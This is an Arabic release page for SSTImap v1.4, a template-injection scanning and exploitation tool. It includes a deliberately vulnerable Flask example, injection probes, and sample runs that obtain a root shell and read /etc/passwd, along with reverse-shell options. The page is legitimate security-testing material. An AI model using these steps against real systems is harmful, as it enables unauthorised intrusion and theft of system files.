العودة إلى التحديثات
New releaseAug 26, 2026

SSTImap v1.4

أداة كشف تلقائي لـ SSTI بواجهة تفاعلية

مشاركة

SSTImap

Version 1.4 Python 3.14 Python 3.6 GitHub GitHub last commit Maintenance

يعتمد هذا المشروع على Tplmap.

SSTImap هو برنامج لاختبار الاختراق يمكنه فحص المواقع الإلكترونية بحثًا عن ثغرات حقن الأكواد (Code Injection) وحقن القوالب من جانب الخادم (Server-Side Template Injection) واستغلالها، مما يتيح الوصول إلى نظام التشغيل نفسه.

تم تطوير هذه الأداة لتُستخدم كأداة تفاعلية لاختبار الاختراق لاكتشاف واستغلال ثغرات SSTI، مما يتيح استغلالًا أكثر تقدمًا. يمكن العثور على المزيد من الحمولات (payloads) لـ SSTImap هنا.

جاءت الحمولات والتقنيات من:

هذه الأداة قادرة على استغلال بعض حالات الهروب من سياق الأكواد وسيناريوهات الحقن الأعمى (blind injection). كما أنها تدعم حقن الأكواد المشابهة لـ eval() في Java وJavaScript وPHP وPython وRuby ومحركات القوالب العامة غير المعزولة (unsandboxed).

الاختلافات الرئيسية عن Tplmap

على الرغم من أن هذا البرنامج مبني على كود Tplmap، إلا أنه لا يتم توفير توافق رجعي (backwards compatibility).

  • إضافة تقنيتين جديدتين لاكتشاف واستغلال SSTI
  • الوضع التفاعلي (-i) الذي يتيح استغلالًا واكتشافًا أسهل
  • حمولات تقييم بسيطة كعلامات استجابة في حالة انعكاس الحمولة
  • إضافة حمولات جديدة للقوالب العامة، لاختبار جميع السياقات استخدم --generic
  • اكتشاف حقن القوالب العامة باستخدام وحدة Eval_generic
  • تنفيذ قشرة (eval()-like) بلغة الأساس (-x) أو أمر واحد (-X)
  • رفع الملفات الأعمى يدعم الآن تأكيد MD5 والتحقق من وجود الملف
  • إضافة حمولات جديدة لمزيد من القوالب وتحديث العديد من الحمولات الموجودة
  • بنية إضافات (plugins) معيارية تسمح بتثبيت إضافات إضافية
  • دعم أنواع مختلفة من بيانات POST
  • إضافة الزحف (crawling) واكتشاف النماذج
  • إضافة نسخ قصيرة للعديد من الوسائط
  • تم تغيير بعض وسائط سطر الأوامر القديمة، راجع -h للمساعدة
  • تم تغيير الكود لاستخدام ميزات أحدث في Python
  • تمت إزالة إضافة Burp Suite مؤقتًا، لأن Jython لا يدعم Python3

حقن القوالب من جانب الخادم (Server-Side Template Injection)

هذا مثال على موقع ويب بسيط مكتوب بلغة Python باستخدام إطار عمل Flask ومحرك القوالب Jinja2. يقوم بدمج المتغير name الذي يوفره المستخدم بطريقة غير آمنة، حيث يتم ربطه بسلسلة القالب قبل العرض.

from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    # SSTI VULNERABILITY:
    template = f"Hello, {name}!<br>\n" \
                "OS type: {{os}}"
    return render_template_string(template, os=os.name)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

لا تؤدي هذه الطريقة في استخدام القوالب إلى إنشاء ثغرة XSS فحسب، بل تسمح أيضًا للمهاجم بحقن كود القالب، الذي سيتم تنفيذه على الخادم، مما يؤدي إلى ثغرة SSTI.

$ curl -g 'https://www.target.com/page?name=John'
Hello John!<br>
OS type: posix
$ curl -g 'https://www.target.com/page?name={{7*7}}'
Hello 49!<br>
OS type: posix

يجب إدخال المدخلات التي يوفرها المستخدم بطريقة آمنة من خلال سياق العرض (rendering context):

from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    template = "Hello, {{name}}!<br>\n" \
               "OS type: {{os}}"
    return render_template_string(template, name=name, os=os.name)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

الوضع المحدد مسبقًا (Predetermined mode)

SSTImap في الوضع المحدد مسبقًا مشابه جدًا لـ Tplmap. إنه قادر على اكتشاف واستغلال ثغرات SSTI في العديد من القوالب المختلفة.

بعد الاستغلال، يمكن لـ SSTImap توفير الوصول إلى تقييم الأكواد، وتنفيذ أوامر نظام التشغيل، والتلاعب بنظام الملفات.

للفحص عبر URL، يمكنك استخدام الوسيط -u:

$ ./sstimap.py -u https://example.com/page?name=John

    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 1.4.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. 
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program


[*] Testing if GET parameter 'name' is injectable   
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, python code

[+] Rerun SSTImap providing one of the following options:
    --os-shell                   Prompt for an interactive operating system shell
    --os-cmd                     Execute an operating system command.
    --eval-shell                 Prompt for an interactive shell on the template engine base language.
    --eval-cmd                   Evaluate code in the template engine base language.
    --tpl-shell                  Prompt for an interactive shell on the template engine.
    --tpl-cmd                    Inject code in the template engine.
    --bind-shell PORT            Connect to a shell bind to a target port
    --reverse-shell HOST PORT    Send a shell back to the attacker's port
    --upload LOCAL REMOTE        Upload files to the server
    --download REMOTE LOCAL      Download remote files

استخدم الخيار --os-shell لتشغيل محطة طرفية زائفة (pseudo-terminal) على الهدف.

$ ./sstimap.py -u https://example.com/page?name=John --os-shell

    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 1.4.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. 
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] Loaded plugins by categories: languages: 6; generic: 5; java: 4; javascript: 7; php: 3; python: 5; ruby: 2
[*] Loaded request body types by categories: auto: 1; http: 1; object: 2; raw: 3


[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, python code

[+] Run commands on the operating system.
posix-linux $ whoami
root
posix-linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

للحصول على قائمة كاملة بالخيارات، استخدم الوسيط --help.

الوضع التفاعلي (Interactive mode)

في الوضع التفاعلي، تُستخدم الأوامر للتفاعل مع SSTImap. للدخول إلى الوضع التفاعلي، يمكنك استخدام الوسيط -i. سيتم استخدام جميع الوسائط الأخرى، باستثناء تلك المتعلقة بحمولات الاستغلال، كقيم أولية للإعدادات.

تُستخدم بعض الأوامر لتغيير الإعدادات بين عمليات الاختبار. لتشغيل اختبار، يجب توفير URL الهدف عبر الوسيط الأولي -u أو أمر url. بعد ذلك، يمكنك استخدام أمر run لفحص URL بحثًا عن SSTI.

إذا تم العثور على SSTI، يمكن استخدام الأوامر لبدء الاستغلال. يمكنك الحصول على نفس قدرات الاستغلال الموجودة في الوضع المحدد مسبقًا، ولكن يمكنك استخدام Ctrl+C لإيقافها دون إيقاف البرنامج.

بالمناسبة، تظل نتائج الاختبار صالحة حتى يتم تغيير URL الهدف، لذا يمكنك بسهولة التبديل بين طرق الاستغلال دون تشغيل اختبار الاكتشاف في كل مرة.

للحصول على قائمة كاملة بالأوامر التفاعلية، استخدم أمر help في الوضع التفاعلي.

محركات القوالب المدعومة

يدعم SSTImap محركات قوالب متعددة وحقن الأكواد المشابهة لـ eval().

الحمولات الجديدة مرحب بها في طلبات السحب (PRs). راجع النصائح لتسريع التطوير.

EngineRCETechLanguageType
FreemarkerREBTJavaDefault
Java generic EL injectionsREBTJavaDefault
OGNL (Object-Graph Navigation Language code eval)REBTJavaDefault
VelocityREBTJavaDefault
NunjucksREBTJavaScriptDefault
Velocity.jsREBTJavaScriptDefault
JavaScript (code eval)REBTJavaScriptDefault
JavaScript-based generic templatesREBTJavaScriptDefault
Twig (>=1.41; >=2.10; >=3.0)REBTPHPDefault
PHP (code eval)REBTPHPDefault
PHP-based generic templatesREBTPHPDefault
Jinja2REBTPythonDefault
Python (code eval)REBTPythonDefault
Python-based generic templatesREBTPythonDefault
ERBREBTRubyDefault
Mustache (<=1.1.2; detection only)×reb_RubyDefault
SlimREBTRubyDefault
Ruby (code eval)REBTRubyDefault
Generic evaluating templates×Reb_*Default
SpEL (Spring EL code eval)REBTJavaGeneric
doTREBTJavaScriptGeneric
EJSREBTJavaScriptGeneric
MarkoREBTJavaScriptGeneric
PugREBTJavaScriptGeneric
SmartyREBTPHPGeneric
CheetahREBTPythonGeneric
MakoREBTPythonGeneric
TornadoREBTPythonGeneric
Dust (<= [email protected])REBTJavaScriptLegacy
Twig (<=1.19.0)REBTPHPLegacy
Pybars3 / Pybars4REBTPythonLegacy
TempliteREBTPythonLegacy
SSI (Server-Side Includes injection)R__TSSILegacy
Obscure evaluating syntaxes×Reb_*Legacy
CVE-2025-1302REBTJavaScriptExtra
CVE-2025-13204REBTJavaScriptExtra
CVE-2022-23614REBTPHPExtra
CVE-2024-6386REBTPHPExtra
CVE-2026-46640REBTPHPExtra

التقنيات: (R)endered، (E)rror-based، (B)oolean error-based blind و (T)ime-based blind؛ يشير الحرف الصغير إلى تقنية مدعومة جزئيًا

يمكن العثور على المزيد من الإضافات والحمولات في مستودع SSTImap Extra Plugins.

إضافة Burp Suite

حاليًا، يعمل Burp Suite فقط مع Jython كوسيلة لتنفيذ python2. لا يتم توفير وظائف Python3.

الخطط المستقبلية

إذا كنت تخطط للمساهمة بشيء كبير من هذه القائمة، أبلغني لتجنب العمل على نفس الشيء الذي أعمل عليه أنا أو مساهمون آخرون.

  • إضافة المزيد من الحمولات لمحركات مختلفة
  • جعل الإضافات أقل اعتمادًا على الإضافات الأساسية
  • تحليل طلب HTTP خام من ملف
  • وظيفة تفريغ المتغيرات
  • استخراج القيم الأعمى/القنوات الجانبية
  • توثيق أفضل (أو على الأقل أي توثيق)
  • وسائط قصيرة كأوامر تفاعلية؟
  • أوضاع API بصيغة JSONL/نص عادي لتكاملات البرمجة النصية؟
  • تكامل أفضل لسكربتات Python
  • دعم نوع بيانات POST متعدد الأجزاء (Multipart)
  • وحدات لطلبات أكثر تخصيصًا (second order، reset، non-HTTP)
  • سكربتات معالجة الحمولات
  • وظيفة تكوين أفضل
  • حفظ الثغرات المكتشفة
  • تقارير بصيغة HTML أو صيغ أخرى
  • تقييم متعدد الأسطر للغة؟
  • تجنب الاعتماد على المنصة في الحمولات
  • اختبار قشور متعددة في سيناريوهات RCE القائمة على exec
  • تحديث حمولات NodeJS لأن process.mainModule قد يكون غير معرّف
  • أتمتة الزاحف/العنكبوت (بواسطة fantesykikachu)
  • استيراد تلقائي للغات والمحركات
  • دعم المزيد من أنواع بيانات POST
  • جعل وظيفة تقييم القالب ولغة الأساس أكثر توحيدًا
  • وسيط لإزالة رموز الهروب؟

الفئات